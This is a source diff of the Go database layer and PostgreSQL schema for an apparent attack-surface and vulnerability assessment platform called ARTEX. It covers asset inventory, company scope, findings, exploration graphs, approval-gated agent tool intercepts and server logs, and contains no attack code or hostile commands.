aidsJSON, _ := json.Marshal(assetIDs)
|
||||
if assetIDs == nil {
|
||||
aidsJSON = []byte("[]")
|
||||
}
|
||||
var tid, nid *int64
|
||||
if taskID > 0 {
|
||||
tid = &taskID
|
||||
}
|
||||
if nodeID > 0 {
|
||||
nid = &nodeID
|
||||
}
|
||||
var id int64
|
||||
err := d.QueryRow(
|
||||
`INSERT INTO findings (task_id, node_id, vulnclass, severity, summary, evidence, worker, asset_ids)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8) RETURNING id`,
|
||||
tid, nid, vulnclass, severity, summary, evidence, worker, string(aidsJSON),
|
||||
).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
|
||||
// ListFindings returns all findings (newest first), joined with task description.
|
||||
func (d *DB) ListFindings(limit int) ([]*DBFinding, error) {
|
||||
if limit <= 0 {
|
||||
limit = 500
|
||||
}
|
||||
rows, err := d.Query(`
|
||||
SELECT f.id, f.task_id, f.node_id, f.vulnclass, f.severity, f.summary,
|
||||
f.evidence, f.worker, f.asset_ids, f.created_at,
|
||||
COALESCE(t.description, '') AS task_description
|
||||
FROM findings f
|
||||
LEFT JOIN tasks t ON f.task_id = t.id
|
||||
ORDER BY f.created_at DESC
|
||||
LIMIT $1`, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []*DBFinding
|
||||
for rows.Next() {
|
||||
f := &DBFinding{}
|
||||
var aidsJSON string
|
||||
if err := rows.Scan(&f.ID, &f.TaskID, &f.NodeID, &f.VulnClass, &f.Severity,
|
||||
&f.Summary, &f.Evidence, &f.Worker, &aidsJSON, &f.CreatedAt, &f.TaskDescription); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = json.Unmarshal([]byte(aidsJSON), &f.AssetIDs)
|
||||
out = append(out, f)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
+234
@@ -0,0 +1,234 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"time"
|
||||
)
|
||||
|
||||
// InterceptRule is one row of intercept_rules.
|
||||
type InterceptRule struct {
|
||||
ID int64 `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Enabled bool `json:"enabled"`
|
||||
Priority int `json:"priority"`
|
||||
MatchTarget string `json:"match_target"`
|
||||
MatchType string `json:"match_type"`
|
||||
Pattern string `json:"pattern"`
|
||||
Action string `json:"action"`
|
||||
Message string `json:"message"`
|
||||
TimeoutEnabled bool `json:"timeout_enabled"`
|
||||
TimeoutSeconds int `json:"timeout_seconds"`
|
||||
TimeoutAction string `json:"timeout_action"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
|
||||
// InterceptPending is one row of intercept_pending.
|
||||
type InterceptPending struct {
|
||||
ID int64 `json:"id"`
|
||||
RuleID *int64 `json:"rule_id"`
|
||||
ConversationID *int64 `json:"conversation_id"`
|
||||
TaskID *string `json:"task_id"`
|
||||
AgentName string `json:"agent_name"`
|
||||
ToolName string `json:"tool_name"`
|
||||
ToolInput json.RawMessage `json:"tool_input"`
|
||||
Status string `json:"status"`
|
||||
DecidedAt *time.Time `json:"decided_at"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
const interceptRuleCols = `id, name, enabled, priority, match_target, match_type, pattern, action, message, timeout_enabled, timeout_seconds, timeout_action, created_at, updated_at`
|
||||
|
||||
func scanInterceptRule(row interface{ Scan(...any) error }) (InterceptRule, error) {
|
||||
var r InterceptRule
|
||||
err := row.Scan(&r.ID, &r.Name, &r.Enabled, &r.Priority,
|
||||
&r.MatchTarget, &r.MatchType, &r.Pattern, &r.Action, &r.Message,
|
||||
&r.TimeoutEnabled, &r.TimeoutSeconds, &r.TimeoutAction,
|
||||
&r.CreatedAt, &r.UpdatedAt)
|
||||
return r, err
|
||||
}
|
||||
|
||||
// ListInterceptRules returns all rules ordered by priority DESC then id.
|
||||
func (d *DB) ListInterceptRules() ([]InterceptRule, error) {
|
||||
rows, err := d.Query(`SELECT ` + interceptRuleCols + ` FROM intercept_rules ORDER BY priority DESC, id`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []InterceptRule
|
||||
for rows.Next() {
|
||||
r, err := scanInterceptRule(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, r)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// CreateInterceptRule inserts a new rule.
|
||||
func (d *DB) CreateInterceptRule(name, matchTarget, matchType, pattern, action, message string, priority int, enabled bool, timeoutEnabled bool, timeoutSeconds int, timeoutAction string) (InterceptRule, error) {
|
||||
row := d.QueryRow(`
|
||||
INSERT INTO intercept_rules(name, enabled, priority, match_target, match_type, pattern, action, message, timeout_enabled, timeout_seconds, timeout_action)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11)
|
||||
RETURNING `+interceptRuleCols,
|
||||
name, enabled, priority, matchTarget, matchType, pattern, action, message, timeoutEnabled, timeoutSeconds, timeoutAction)
|
||||
return scanInterceptRule(row)
|
||||
}
|
||||
|
||||
// UpdateInterceptRule replaces all editable fields of an existing rule.
|
||||
func (d *DB) UpdateInterceptRule(id int64, name, matchTarget, matchType, pattern, action, message string, priority int, enabled bool, timeoutEnabled bool, timeoutSeconds int, timeoutAction string) (InterceptRule, error) {
|
||||
row := d.QueryRow(`
|
||||
UPDATE intercept_rules
|
||||
SET name=$2, enabled=$3, priority=$4, match_target=$5,
|
||||
match_type=$6, pattern=$7, action=$8, message=$9,
|
||||
timeout_enabled=$10, timeout_seconds=$11, timeout_action=$12
|
||||
WHERE id=$1
|
||||
RETURNING `+interceptRuleCols,
|
||||
id, name, enabled, priority, matchTarget, matchType, pattern, action, message, timeoutEnabled, timeoutSeconds, timeoutAction)
|
||||
return scanInterceptRule(row)
|
||||
}
|
||||
|
||||
// DeleteInterceptRule removes a rule.
|
||||
func (d *DB) DeleteInterceptRule(id int64) error {
|
||||
_, err := d.Exec(`DELETE FROM intercept_rules WHERE id=$1`, id)
|
||||
return err
|
||||
}
|
||||
|
||||
// ToggleInterceptRule flips the enabled state of a rule.
|
||||
func (d *DB) ToggleInterceptRule(id int64, enabled bool) error {
|
||||
_, err := d.Exec(`UPDATE intercept_rules SET enabled=$2 WHERE id=$1`, id, enabled)
|
||||
return err
|
||||
}
|
||||
|
||||
// CreateInterceptPending inserts a pending approval record and returns its ID.
|
||||
// convID == 0 → conversation_id stored as NULL (background task).
|
||||
// taskID == "" → task_id stored as NULL.
|
||||
func (d *DB) CreateInterceptPending(ruleID, convID int64, taskID, agentName, toolName string, input []byte) (int64, error) {
|
||||
raw := json.RawMessage(input)
|
||||
if len(raw) == 0 {
|
||||
raw = json.RawMessage("{}")
|
||||
}
|
||||
var convIDPtr *int64
|
||||
if convID != 0 {
|
||||
convIDPtr = &convID
|
||||
}
|
||||
var taskIDPtr *string
|
||||
if taskID != "" {
|
||||
taskIDPtr = &taskID
|
||||
}
|
||||
var id int64
|
||||
err := d.QueryRow(`
|
||||
INSERT INTO intercept_pending(rule_id, conversation_id, task_id, agent_name, tool_name, tool_input)
|
||||
VALUES ($1, $2, $3, $4, $5, $6) RETURNING id`,
|
||||
ruleID, convIDPtr, taskIDPtr, agentName, toolName, raw).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
|
||||
// DecideInterceptPending updates a pending record's status (allowed/denied/timeout).
|
||||
func (d *DB) DecideInterceptPending(id int64, status string) error {
|
||||
_, err := d.Exec(`UPDATE intercept_pending SET status=$2, decided_at=NOW() WHERE id=$1`, id, status)
|
||||
return err
|
||||
}
|
||||
|
||||
const interceptPendingCols = `id, rule_id, conversation_id, task_id, agent_name, tool_name, tool_input, status, decided_at, created_at`
|
||||
|
||||
func scanInterceptPending(s interface{ Scan(...any) error }, p *InterceptPending) error {
|
||||
return s.Scan(&p.ID, &p.RuleID, &p.ConversationID, &p.TaskID, &p.AgentName,
|
||||
&p.ToolName, &p.ToolInput, &p.Status, &p.DecidedAt, &p.CreatedAt)
|
||||
}
|
||||
|
||||
// ListPendingIntercepts returns all unresolved approval requests, newest first.
|
||||
func (d *DB) ListPendingIntercepts() ([]InterceptPending, error) {
|
||||
rows, err := d.Query(`SELECT ` + interceptPendingCols + ` FROM intercept_pending WHERE status='pending' ORDER BY created_at DESC`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []InterceptPending
|
||||
for rows.Next() {
|
||||
var p InterceptPending
|
||||
if err := scanInterceptPending(rows, &p); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, p)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// GetInterceptPending returns one pending record (nil if absent).
|
||||
func (d *DB) GetInterceptPending(id int64) (*InterceptPending, error) {
|
||||
var p InterceptPending
|
||||
err := scanInterceptPending(
|
||||
d.QueryRow(`SELECT `+interceptPendingCols+` FROM intercept_pending WHERE id=$1`, id),
|
||||
&p,
|
||||
)
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
return &p, err
|
||||
}
|
||||
|
||||
// InterceptApprovalRow is intercept_pending enriched with conversation and rule info.
|
||||
type InterceptApprovalRow struct {
|
||||
InterceptPending
|
||||
ConvTitle string `json:"conv_title"`
|
||||
ConvAgentKey string `json:"conv_agent_key"`
|
||||
RuleName string `json:"rule_name"`
|
||||
}
|
||||
|
||||
func scanInterceptApprovalRow(rows interface{ Scan(...any) error }, r *InterceptApprovalRow) error {
|
||||
return rows.Scan(
|
||||
&r.ID, &r.RuleID, &r.ConversationID, &r.TaskID, &r.AgentName,
|
||||
&r.ToolName, &r.ToolInput, &r.Status, &r.DecidedAt, &r.CreatedAt,
|
||||
&r.ConvTitle, &r.ConvAgentKey, &r.RuleName,
|
||||
)
|
||||
}
|
||||
|
||||
const approvalRowSelect = `
|
||||
SELECT ip.id, ip.rule_id, ip.conversation_id, ip.task_id, ip.agent_name,
|
||||
ip.tool_name, ip.tool_input, ip.status, ip.decided_at, ip.created_at,
|
||||
COALESCE(c.title,'') AS conv_title,
|
||||
COALESCE(c.agent_key,'') AS conv_agent_key,
|
||||
COALESCE(ir.name,'') AS rule_name
|
||||
FROM intercept_pending ip
|
||||
LEFT JOIN conversations c ON c.id = ip.conversation_id
|
||||
LEFT JOIN intercept_rules ir ON ir.id = ip.rule_id`
|
||||
|
||||
// ListAllIntercepts returns up to limit intercept_pending rows (newest first)
|
||||
// joined with conversation and rule info.
|
||||
func (d *DB) ListAllIntercepts(limit int) ([]InterceptApprovalRow, error) {
|
||||
rows, err := d.Query(approvalRowSelect+` ORDER BY ip.created_at DESC LIMIT $1`, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []InterceptApprovalRow
|
||||
for rows.Next() {
|
||||
var r InterceptApprovalRow
|
||||
if err := scanInterceptApprovalRow(rows, &r); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, r)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// ListTaskIntercepts returns all intercept_pending rows for a specific task (newest first).
|
||||
func (d *DB) ListTaskIntercepts(taskID string) ([]InterceptApprovalRow, error) {
|
||||
rows, err := d.Query(approvalRowSelect+` WHERE ip.task_id=$1 ORDER BY ip.created_at DESC`, taskID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []InterceptApprovalRow
|
||||
for rows.Next() {
|
||||
var r InterceptApprovalRow
|
||||
if err := scanInterceptApprovalRow(rows, &r); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, r)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
+78
@@ -0,0 +1,78 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
)
|
||||
|
||||
// DBLog is one persisted backend log row from the server_logs table.
|
||||
type DBLog struct {
|
||||
ID int64
|
||||
CreatedAt time.Time
|
||||
Level string
|
||||
Tag string
|
||||
Text string
|
||||
}
|
||||
|
||||
// InsertLog appends one log line and returns its auto-assigned id.
|
||||
func (d *DB) InsertLog(level, tag, text string) (int64, error) {
|
||||
var id int64
|
||||
err := d.QueryRowContext(context.Background(),
|
||||
"INSERT INTO server_logs(level,tag,text) VALUES($1,$2,$3) RETURNING id",
|
||||
level, tag, text,
|
||||
).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
|
||||
// RecentLogs returns the most recent limit rows, oldest-first.
|
||||
func (d *DB) RecentLogs(limit int) ([]*DBLog, error) {
|
||||
rows, err := d.QueryContext(context.Background(),
|
||||
`SELECT id, created_at, level, tag, text
|
||||
FROM server_logs
|
||||
ORDER BY id DESC
|
||||
LIMIT $1`, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []*DBLog
|
||||
for rows.Next() {
|
||||
l := &DBLog{}
|
||||
if err := rows.Scan(&l.ID, &l.CreatedAt, &l.Level, &l.Tag, &l.Text); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, l)
|
||||
}
|
||||
// Reverse to oldest-first
|
||||
for i, j := 0, len(out)-1; i < j; i, j = i+1, j-1 {
|
||||
out[i], out[j] = out[j], out[i]
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// ListLogsBefore returns up to limit rows with id < beforeID, oldest-first.
|
||||
func (d *DB) ListLogsBefore(beforeID int64, limit int) ([]*DBLog, error) {
|
||||
rows, err := d.QueryContext(context.Background(),
|
||||
`SELECT id, created_at, level, tag, text
|
||||
FROM server_logs
|
||||
WHERE id < $1
|
||||
ORDER BY id DESC
|
||||
LIMIT $2`, beforeID, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []*DBLog
|
||||
for rows.Next() {
|
||||
l := &DBLog{}
|
||||
if err := rows.Scan(&l.ID, &l.CreatedAt, &l.Level, &l.Tag, &l.Text); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, l)
|
||||
}
|
||||
// Reverse to oldest-first
|
||||
for i, j := 0, len(out)-1; i < j; i, j = i+1, j-1 {
|
||||
out[i], out[j] = out[j], out[i]
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
+134
@@ -0,0 +1,134 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"net"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/net/publicsuffix"
|
||||
)
|
||||
|
||||
// 归一化自然键 (nkey)：移植自旧 graph/id.go，去掉 StableID 哈希（PG 用 BIGSERIAL 主键 +
|
||||
// UNIQUE(type, nkey) 去重）。子资产的 nkey 内嵌父资产的 int64 id，把层级编码进键。
|
||||
|
||||
func DomainKey(fqdn string) string {
|
||||
return strings.TrimSuffix(strings.ToLower(strings.TrimSpace(fqdn)), ".")
|
||||
}
|
||||
|
||||
func IPKey(ip string) string { return strings.TrimSpace(ip) }
|
||||
|
||||
// RootDomain returns the registrable domain (eTLD+1) for a host and whether the
|
||||
// host itself IS that apex (§3.1). Edge cases (§3.1 边界处理): an IP literal or a
|
||||
// host publicsuffix can't classify (localhost / internal / non-ICANN TLD) is
|
||||
// returned unchanged as its own root with isApex=true — best-effort, never treated
|
||||
// as a subdomain.
|
||||
func RootDomain(host string) (root string, isApex bool) {
|
||||
h := DomainKey(host)
|
||||
if h == "" || net.ParseIP(h) != nil {
|
||||
return h, true
|
||||
}
|
||||
etld1, err := publicsuffix.EffectiveTLDPlusOne(h)
|
||||
if err != nil || etld1 == "" {
|
||||
return h, true
|
||||
}
|
||||
return etld1, h == etld1
|
||||
}
|
||||
|
||||
func PortKey(ipID int64, proto string, port int) string {
|
||||
return itoa(ipID) + "|" + strings.ToLower(proto) + "|" + strconv.Itoa(port)
|
||||
}
|
||||
|
||||
func ServiceKey(portID int64, svcName string) string {
|
||||
return itoa(portID) + "|" + strings.ToLower(svcName)
|
||||
}
|
||||
|
||||
func SiteKey(scheme, host string, port int) string {
|
||||
return strings.ToLower(scheme) + "|" + strings.ToLower(host) + "|" + strconv.Itoa(port)
|
||||
}
|
||||
|
||||
func EndpointKey(siteID int64, method, urlTemplate string) string {
|
||||
return itoa(siteID) + "|" + strings.ToUpper(method) + "|" + urlTemplate
|
||||
}
|
||||
|
||||
func ParameterKey(endpointID int64, location, name string) string {
|
||||
return itoa(endpointID) + "|" + strings.ToLower(location) + "|" + name
|
||||
}
|
||||
|
||||
// NormalizeParamName 归一化参数名（endpoint.params 元素的「相同引用」判定）。
|
||||
// 规则：lower + trim，不做同义词合并(userId/user_id/uid 视为不同)。写入与查询共享此实现，
|
||||
// 保证「按参数名查同公司接口」可复现。
|
||||
func NormalizeParamName(name string) string {
|
||||
return strings.ToLower(strings.TrimSpace(name))
|
||||
}
|
||||
|
||||
func TechKey(name, version string) string {
|
||||
return strings.ToLower(name) + "|" + version
|
||||
}
|
||||
|
||||
func itoa(n int64) string { return strconv.FormatInt(n, 10) }
|
||||
|
||||
var (
|
||||
reNumeric = regexp.MustCompile(`^\d+$`)
|
||||
reUUID = regexp.MustCompile(`^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$`)
|
||||
reHex = regexp.MustCompile(`^[0-9a-fA-F]{16,}$`)
|
||||
reLong = regexp.MustCompile(`^[A-Za-z0-9_-]{24,}$`)
|
||||
)
|
||||
|
||||
// TemplatePath collapses high-cardinality path segments into placeholders so the
|
||||
// graph is not flooded by instances: /user/123 -> /user/{id}.
|
||||
func TemplatePath(path string) string {
|
||||
if path == "" {
|
||||
return "/"
|
||||
}
|
||||
segs := strings.Split(path, "/")
|
||||
for i, s := range segs {
|
||||
switch {
|
||||
case s == "":
|
||||
continue
|
||||
case reNumeric.MatchString(s):
|
||||
segs[i] = "{id}"
|
||||
case reUUID.MatchString(s):
|
||||
segs[i] = "{uuid}"
|
||||
case reHex.MatchString(s):
|
||||
segs[i] = "{hex}"
|
||||
case reLong.MatchString(s):
|
||||
segs[i] = "{token}"
|
||||
}
|
||||
}
|
||||
return strings.Join(segs, "/")
|
||||
}
|
||||
|
||||
// SplitURL parses a raw URL into scheme/host/port/urlTemplate/params for building
|
||||
// site/endpoint/param keys.
|
||||
func SplitURL(raw, method string) (scheme, host string, port int, urlTemplate string, params []string, err error) {
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil {
|
||||
return "", "", 0, "", nil, err
|
||||
}
|
||||
scheme = strings.ToLower(u.Scheme)
|
||||
host = strings.ToLower(u.Hostname())
|
||||
port = defaultPort(scheme, u.Port())
|
||||
urlTemplate = TemplatePath(u.EscapedPath())
|
||||
for k := range u.Query() {
|
||||
params = append(params, k)
|
||||
}
|
||||
return scheme, host, port, urlTemplate, params, nil
|
||||
}
|
||||
|
||||
func defaultPort(scheme, p string) int {
|
||||
if p != "" {
|
||||
if n, err := strconv.Atoi(p); err == nil {
|
||||
return n
|
||||
}
|
||||
}
|
||||
switch scheme {
|
||||
case "https":
|
||||
return 443
|
||||
case "http":
|
||||
return 80
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
+513
@@ -0,0 +1,513 @@
|
||||
-- ARTEX PostgreSQL schema (单一数据源)
|
||||
-- 幂等：可重复执行（IF NOT EXISTS / OR REPLACE / DROP TRIGGER IF EXISTS）。
|
||||
|
||||
-- =====================================================================
|
||||
-- 0. 通用：updated_at 触发器
|
||||
-- =====================================================================
|
||||
CREATE OR REPLACE FUNCTION set_updated_at() RETURNS trigger AS $$
|
||||
BEGIN NEW.updated_at = now(); RETURN NEW; END;
|
||||
$$ LANGUAGE plpgsql;
|
||||
|
||||
-- =====================================================================
|
||||
-- A. 资产层：companies / assets / company_scope
|
||||
-- =====================================================================
|
||||
|
||||
CREATE TABLE IF NOT EXISTS companies (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
nkey TEXT NOT NULL UNIQUE,
|
||||
logo TEXT,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_companies_nkey ON companies(nkey);
|
||||
DROP TRIGGER IF EXISTS trg_companies_upd ON companies;
|
||||
CREATE TRIGGER trg_companies_upd BEFORE UPDATE ON companies
|
||||
FOR EACH ROW EXECUTE FUNCTION set_updated_at();
|
||||
|
||||
CREATE TABLE IF NOT EXISTS assets (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
type TEXT NOT NULL CHECK (type IN (
|
||||
'root_domain','ip','subdomain','app','service','endpoint'
|
||||
)),
|
||||
company_id BIGINT REFERENCES companies(id) ON DELETE SET NULL,
|
||||
task_ids BIGINT[] NOT NULL DEFAULT '{}',
|
||||
domain TEXT,
|
||||
root_domain TEXT,
|
||||
ip TEXT,
|
||||
c_segment CIDR,
|
||||
port INTEGER CHECK (port BETWEEN 1 AND 65535),
|
||||
icp TEXT,
|
||||
bound_domains TEXT[] NOT NULL DEFAULT '{}',
|
||||
open_ports JSONB[] NOT NULL DEFAULT '{}',
|
||||
record_type TEXT,
|
||||
record_value TEXT[],
|
||||
bundle_id TEXT,
|
||||
app_name TEXT,
|
||||
category TEXT,
|
||||
app_description TEXT,
|
||||
app_icp TEXT,
|
||||
url TEXT,
|
||||
service_type TEXT CHECK (service_type IN ('http','other')),
|
||||
service_name TEXT,
|
||||
favicon_mmh3 TEXT,
|
||||
status_code INTEGER,
|
||||
content_length BIGINT,
|
||||
page_title TEXT,
|
||||
technologies TEXT[] NOT NULL DEFAULT '{}',
|
||||
auth JSONB[] NOT NULL DEFAULT '{}',
|
||||
method TEXT,
|
||||
params JSONB[] NOT NULL DEFAULT '{}',
|
||||
extra JSONB NOT NULL DEFAULT '{}',
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
last_seen TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS uq_av2_root_domain ON assets(domain) WHERE type = 'root_domain';
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS uq_av2_ip ON assets(ip) WHERE type = 'ip';
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS uq_av2_subdomain ON assets(domain, COALESCE(record_type,'')) WHERE type = 'subdomain';
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS uq_av2_app_bundle ON assets(bundle_id) WHERE type = 'app' AND bundle_id IS NOT NULL;
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS uq_av2_app_name ON assets(app_name) WHERE type = 'app' AND bundle_id IS NULL;
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS uq_av2_service_http ON assets(url) WHERE type = 'service' AND service_type = 'http';
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS uq_av2_service_other
|
||||
ON assets(COALESCE(domain,''), COALESCE(ip,''), port, service_name) WHERE type = 'service' AND service_type = 'other';
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS uq_av2_endpoint ON assets(url, method) WHERE type = 'endpoint';
|
||||
CREATE INDEX IF NOT EXISTS idx_av2_company ON assets(company_id) WHERE company_id IS NOT NULL;
|
||||
CREATE INDEX IF NOT EXISTS idx_av2_company_type ON assets(company_id, type) WHERE company_id IS NOT NULL;
|
||||
CREATE INDEX IF NOT EXISTS idx_av2_task_ids ON assets USING GIN(task_ids);
|
||||
CREATE INDEX IF NOT EXISTS idx_av2_domain ON assets(domain) WHERE domain IS NOT NULL;
|
||||
CREATE INDEX IF NOT EXISTS idx_av2_root_domain ON assets(root_domain) WHERE root_domain IS NOT NULL;
|
||||
CREATE INDEX IF NOT EXISTS idx_av2_ip ON assets(ip) WHERE ip IS NOT NULL;
|
||||
CREATE INDEX IF NOT EXISTS idx_av2_c_segment ON assets USING GIST(c_segment inet_ops) WHERE c_segment IS NOT NULL;
|
||||
CREATE INDEX IF NOT EXISTS idx_av2_technologies ON assets USING GIN(technologies) WHERE type = 'service';
|
||||
CREATE INDEX IF NOT EXISTS idx_av2_bound_domains ON assets USING GIN(bound_domains) WHERE type = 'ip';
|
||||
CREATE INDEX IF NOT EXISTS idx_av2_open_ports ON assets USING GIN(open_ports) WHERE type = 'ip';
|
||||
CREATE INDEX IF NOT EXISTS idx_av2_last_seen ON assets(last_seen DESC);
|
||||
CREATE INDEX IF NOT EXISTS idx_av2_type_seen ON assets(type, last_seen DESC);
|
||||
DROP TRIGGER IF EXISTS trg_av2_upd ON assets;
|
||||
CREATE TRIGGER trg_av2_upd BEFORE UPDATE ON assets
|
||||
FOR EACH ROW EXECUTE FUNCTION set_updated_at();
|
||||
|
||||
CREATE TABLE IF NOT EXISTS company_scope (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
company_id BIGINT NOT NULL REFERENCES companies(id) ON DELETE CASCADE,
|
||||
kind TEXT NOT NULL CHECK (kind IN ('domain','ip','cidr')),
|
||||
domain TEXT,
|
||||
net CIDR,
|
||||
raw TEXT NOT NULL,
|
||||
reason TEXT,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
CONSTRAINT uq_sv2_domain UNIQUE (company_id, domain),
|
||||
CONSTRAINT uq_sv2_net UNIQUE (company_id, net)
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_sv2_domain ON company_scope(domain) WHERE kind = 'domain';
|
||||
CREATE INDEX IF NOT EXISTS idx_sv2_net ON company_scope USING GIST(net inet_ops) WHERE kind IN ('ip','cidr');
|
||||
CREATE INDEX IF NOT EXISTS idx_sv2_company ON company_scope(company_id);
|
||||
|
||||
-- =====================================================================
|
||||
-- B. 推理探索层
|
||||
-- =====================================================================
|
||||
CREATE TABLE IF NOT EXISTS explorations (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
description TEXT,
|
||||
goal TEXT NOT NULL,
|
||||
status TEXT NOT NULL DEFAULT 'open'
|
||||
CHECK (status IN ('open','achieved','failed')),
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
DROP TRIGGER IF EXISTS trg_exp_upd ON explorations;
|
||||
CREATE TRIGGER trg_exp_upd BEFORE UPDATE ON explorations
|
||||
FOR EACH ROW EXECUTE FUNCTION set_updated_at();
|
||||
|
||||
CREATE TABLE IF NOT EXISTS exploration_nodes (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
exploration_id BIGINT NOT NULL REFERENCES explorations(id) ON DELETE CASCADE,
|
||||
kind TEXT NOT NULL,
|
||||
payload JSONB NOT NULL DEFAULT '{}',
|
||||
priority INT NOT NULL DEFAULT 0,
|
||||
state TEXT NOT NULL DEFAULT 'open',
|
||||
origin TEXT,
|
||||
owner TEXT,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
updated_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
completed_at TIMESTAMPTZ,
|
||||
CONSTRAINT ck_node_kind CHECK (kind IN ('begin','goal','intent','fact','finding','hint')),
|
||||
CONSTRAINT ck_node_state CHECK (
|
||||
(kind='begin' AND state IN ('open')) OR
|
||||
(kind='intent' AND state IN ('open','running','done','blocked','exhausted','stopped')) OR
|
||||
(kind='goal' AND state IN ('open','met','abandoned')) OR
|
||||
(kind='fact' AND state IN ('confirmed','dismissed','origin')) OR
|
||||
(kind='finding' AND state IN ('confirmed','dismissed')) OR
|
||||
(kind='hint' AND state IN ('active','consumed'))
|
||||
)
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_expnodes_part ON exploration_nodes(exploration_id, kind);
|
||||
CREATE INDEX IF NOT EXISTS idx_expnodes_frontier ON exploration_nodes(exploration_id, priority DESC)
|
||||
WHERE kind='intent' AND state='open';
|
||||
DROP TRIGGER IF EXISTS trg_expnodes_upd ON exploration_nodes;
|
||||
CREATE TRIGGER trg_expnodes_upd BEFORE UPDATE ON exploration_nodes
|
||||
FOR EACH ROW EXECUTE FUNCTION set_updated_at();
|
||||
|
||||
CREATE TABLE IF NOT EXISTS exploration_edges (
|
||||
exploration_id BIGINT NOT NULL REFERENCES explorations(id) ON DELETE CASCADE,
|
||||
src_id BIGINT NOT NULL REFERENCES exploration_nodes(id) ON DELETE CASCADE,
|
||||
dst_id BIGINT NOT NULL REFERENCES exploration_nodes(id) ON DELETE CASCADE,
|
||||
rel TEXT NOT NULL CHECK (rel IN ('spawns','derived_from','yields','proves')),
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
PRIMARY KEY (exploration_id, src_id, rel, dst_id),
|
||||
CONSTRAINT ck_edge_noself CHECK (src_id <> dst_id)
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_expedges_src ON exploration_edges(src_id, rel);
|
||||
CREATE INDEX IF NOT EXISTS idx_expedges_dst ON exploration_edges(dst_id, rel);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS exploration_anchors (
|
||||
node_id BIGINT NOT NULL REFERENCES exploration_nodes(id) ON DELETE CASCADE,
|
||||
asset_id BIGINT NOT NULL REFERENCES assets(id) ON DELETE CASCADE,
|
||||
PRIMARY KEY (node_id, asset_id)
|
||||
);
|
||||
